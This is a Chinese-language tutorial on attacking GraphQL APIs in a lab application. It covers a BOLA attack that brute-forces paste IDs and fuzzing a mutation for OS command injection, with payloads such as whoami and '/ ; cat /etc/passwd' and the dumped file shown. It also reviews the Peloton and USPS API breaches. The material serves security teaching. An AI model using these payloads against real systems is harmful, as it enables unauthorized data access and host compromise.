探索GraphQL API攻击与数据泄露案例
1. GraphQL数据请求与InQL扩展使用
在GraphQL中,我们可以自由地对自己的字段进行实验。完整的请求体示例如下:
query {
pastes (public: true) {
title
content
public
ipAddr
pId
}
}
执行请求时,可使用“Execute Query”按钮或快捷键
CTRL - ENTER
。若操作正确,会收到类似如下的响应:
{
"data": {
"pastes": [
{
"id": "UGFzdGVPYmplY3Q6MTY4",
"content": "testy",
"ipAddr": "192.168.195.133",
"pId": "166"
},
{
"id": "UGFzdGVPYmplY3Q6MTY3",
"content": "McTester",
"ipAddr": "192.168.195.133",
"pId": "165"
}
]
}
}
当目标上没有GraphiQL IDE时,可借助Burp Suite的InQL扩展。安装步骤如下:
1. 在Extender选项中选择Jython(安装Jython的具体步骤可参考相关指引)。
2. 安装InQL后,选择InQL Scanner并添加目标GraphQL API的URL。
3. 扫描器会自动查找各种查询和突变,并将它们保存到文件结构中。之后可选择这些保存的请求并发送到Repeater进行额外测试。
2. 对GraphQL的授权攻击(BOLA攻击)
以
paste.query
为例,它用于通过粘贴ID(pID)代码查找粘贴内容。若在Web应用中发布过公共粘贴,就能看到pID值。我们可尝试对pID字段进行授权攻击,请求本应是私有的pID,这属于BOLA攻击。具体操作步骤如下:
1. 右键单击
paste.query
并发送到Repeater。
2. 将代码值替换为有效的pID,例如166。
3. 使用Repeater发送请求,会收到类似如下的响应:
{
"data": {
"paste": {
"owner": {
"id": "T3duZXJPYmplY3Q6MQ=="
},
"burn": false,
"Owner": {
"id": "T3duZXJPYmplY3Q6MQ=="
},
"userAgent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Firefox/78.0",
"pId": "166",
"title": "test3",
"ownerId": 1,
"content": "testy",
"ipAddr": "192.168.195.133",
"public": true,
"id": "UGFzdGVPYmplY3Q6MTY2"
}
}
}
若能通过pID请求粘贴内容,可尝试暴力破解其他pID,查看是否存在授权限制阻止访问其他用户的私有帖子。操作如下:
1. 将
paste
请求发送到Intruder。
2. 设置pID值为有效负载位置。
3. 将有效负载更改为从0到166的数值,然后启动攻击。
审查结果会发现BOLA漏洞,能获取到私有数据,例如:
{
"data": {
"paste": {
"owner": {
"id": "T3duZXJPYmplY3Q6MQ=="
},
"burn": false,
"Owner": {
"id": "T3duZXJPYmplY3Q6MQ=="
},
"userAgent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Firefox/78.0",
"pId": "63",
"title": "Imported Paste from URL - b9ae5f",
"ownerId": 1,
"content": "<!DOCTYPE html>\n<html lang=en> ",
"ipAddr": "192.168.195.133",
"public": false,
"id": "UGFzdGVPYmplY3Q6NjM="
}
}
}
3. 模糊测试命令注入
对API进行分析后,可进行模糊测试以查找漏洞。由于大多数GraphQL请求即使格式不正确也会返回200状态码,因此需寻找其他成功指标。具体步骤如下:
1. 选择一个突变请求,如
Mutation ImportPaste
请求,用Burp Suite拦截。
2. 将请求发送到Repeater,查看预期响应,例如:
{
"data": {
"importPaste": {
"result": "<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n<TITLE>301 Moved</TITLE></HEAD><BODY>\n<H1>301 Moved</H1>\nThe document has moved\n<AHREF=\"http://www.google.com/\">here</A>.\n</BODY></HTML>\n"
}
}
}
- 将请求转发到Intruder,查看请求体:
{
"query": "mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\nresult\n }\n }",
"variables": {
"host": "google.com",
"port": 80,
"path": "/",
"scheme": "http"
}
}
-
在
variables部分放置有效负载位置,例如:
"variables": {
"host": "google.com§test§§test2§",
"port": 80,
"path": "/",
"scheme": "http"
}
-
配置两个有效负载集:
- 第一个有效负载集使用元字符示例:
|
||
&
&&
'
"
;
'"
- 第二个有效负载集使用潜在注入有效负载示例:
whoami
{"$where": "sleep(1000) "}
;%00
-- -
- 确保禁用有效负载编码。
-
先对
host变量运行攻击,结果可能较为统一,无异常情况。 -
再对
path变量运行攻击,会收到不同的响应代码和长度,且有成功执行代码的迹象。审查响应会发现path变量易受操作系统注入攻击,例如能执行whoami命令,显示用户为root,表明应用运行在Linux主机上。可更新第二个有效负载集,包含uname -a和ver命令来确定操作系统。发现操作系统后,可进行更有针对性的攻击以获取系统敏感信息,例如将path变量替换为/; cat /etc/passwd:
{
"variables": {
"scheme": "http",
"path": "/ ; cat /etc/passwd",
"port": 80,
"host": "test.com"
},
"query": "mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n result\n }\n }"
}
发送请求后,会收到包含
/etc/passwd
文件内容的响应,如下:
{
"data": {
"importPaste": {
"result": "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>301 Moved Permanently</title>\n</head><body>\n<h1>Moved Permanently</h1>\n<p>The document has moved <a href=\"https://test.com/\">here</a>.</p>\n</body></html>\nroot:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nnsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nnsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nutmp:x:100:406:utmp:/home/utmp:/bin/false\n"
}
}
}
4. 真实世界的API数据泄露案例
在实际应用中,API漏洞可能导致严重的数据泄露问题。以下是两个典型案例:
| 案例名称 | 数据数量 | 数据类型 | 漏洞情况 |
| ---- | ---- | ---- | ---- |
| Peloton | 超过三百万Peloton订阅者 | 用户ID、位置、年龄、性别、体重和锻炼信息 | 未认证的API用户可通过三种方式获取敏感用户数据:向
/stats/workouts/details
端点发送请求、向
/api/user/search
功能发送请求以及进行未认证的GraphQL请求。 |
| USPS Informed Visibility API | 约六千万暴露的USPS用户 | 电子邮件、用户名、实时包裹更新、邮寄地址、电话号码 | USPS认证用户可查询任何USPS账户详细信息,API接受通配符查询,且存在过度数据暴露问题,请求地址数据时会返回该地址的所有记录。 |
下面是Peloton数据泄露攻击流程的mermaid流程图:
graph LR
A[攻击者] --> B[/stats/workouts/details端点请求]
A --> C[/api/user/search功能请求]
A --> D[未认证GraphQL请求]
B --> E[获取用户锻炼详情]
C --> F[获取用户个人信息]
D --> G[获取用户ID、用户名和位置]
这些案例表明,应用的安全性取决于最薄弱的环节。即使应用采用了强大的防火墙、多因素认证和零信任架构,但如果API安全未得到保障,仍会存在安全漏洞。因此,在进行黑客攻击时,可利用常见的API弱点来获取优势。同时,组织应重视API安全测试,通过漏洞赏金计划或渗透测试等方式,及时发现并修复API漏洞,避免数据泄露等安全事件的发生。
探索GraphQL API攻击与数据泄露案例
5. Peloton数据泄露详细分析
Peloton数据泄露事件中,攻击者可通过三种方法获取敏感用户数据,下面详细介绍每种方法:
-
/stats/workouts/details端点
:该端点本意是根据用户ID提供用户的锻炼详情,用户可选择隐私选项隐藏数据,但该功能未正常工作,任何消费者都能获取数据。攻击者在POST请求体中指定用户ID,就能收到包含用户年龄、性别、用户名、锻炼ID、Peloton ID以及隐私状态的响应。示例请求如下:
POST /stats/workouts/details HTTP/1.1
Host: api.onepeloton.co.uk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
{"ids":["10001","10002","10003","10004","10005","10006"]}
攻击者可通过暴力破解或从Web应用中收集用户ID。
-
用户搜索功能
:用户搜索功能存在业务逻辑缺陷,对
/api/user/search/:<username>
端点的GET请求会暴露用户的个人信息,包括个人资料图片URL、位置、ID、隐私状态和社交信息(如粉丝数量),任何人都能利用该数据暴露功能。
-
GraphQL请求
:多个GraphQL端点允许攻击者发送未认证请求,示例请求如下:
{
"query": "query SharedTags($currentUserID: ID!) { User: user(id: \"currentUserID\") {__typename\n id\n location\n } }",
"variables": { "currentUserID": "REDACTED" }
}
攻击者可将
REDACTED
用户ID作为有效负载位置,暴力破解用户ID以获取私有用户数据。
6. USPS Informed Visibility API数据泄露详细分析
USPS Informed Visibility API数据泄露事件中,存在多个安全问题:
-
认证与查询问题
:该API本是为认证用户提供近实时邮件数据,但任何有访问权限的认证用户都能查询任何USPS账户详情,且API接受通配符查询。攻击者可使用类似
/api/v1/find?email=*@gmail.com
的查询获取特定用户的数据。
-
过度数据暴露
:请求地址数据时,API会返回该地址的所有记录。示例请求如下:
POST /api/v1/container/status
Token: UserA
{
"street": "475 L' Enfant Plaza SW",
"city": "Washington DC"
}
可能的响应如下:
{
"street": "475 L' Enfant Plaza SW",
"City": "Washington DC",
"customer": [
{
"name": "Rufus Shinra",
"username": "novp4me",
"email": "rufus@shinra.com",
"phone": "123-456-7890"
},
{
"name": "Professor Hojo",
"username": "sep-father",
"email": "prof@hojo.com",
"phone": "102-202-3034"
}
]
}
该事件表明,组织在进行安全评估时,应重视API安全,避免类似的安全漏洞。
下面是USPS Informed Visibility API数据泄露攻击流程的mermaid流程图:
graph LR
A[攻击者] --> B[使用通配符查询]
A --> C[请求地址数据]
B --> D[获取特定用户数据]
C --> E[获取地址所有记录]
7. 总结与建议
通过上述GraphQL API攻击和数据泄露案例的分析,我们可以得出以下结论和建议:
-
技术适应性
:GraphQL与之前的REST API操作方式不同,但我们可以调整一些方法,将已掌握的技术应用到GraphQL攻击中。遇到新的API类型时,不要害怕,要积极学习其工作原理,尝试运用已学的API攻击技术。
-
组织安全测试
:组织应重视API安全测试,可通过漏洞赏金计划或渗透测试等方式,全面检测API的安全漏洞。例如,USPS的安全评估未关注API,导致数据泄露事件发生。
-
持续探索
:示例中的应用可能还有其他未被发现的漏洞,建议读者回到实验环境中继续探索和利用这些漏洞,提升自己的攻击和防御能力。
总之,API安全至关重要,无论是开发者还是安全测试人员,都应不断学习和实践,保障API的安全性,防止数据泄露等安全事件的发生。在未来的工作中,我们要时刻关注API安全动态,及时发现并修复潜在的安全隐患。
超级会员免费看
965

被折叠的 条评论
为什么被折叠?



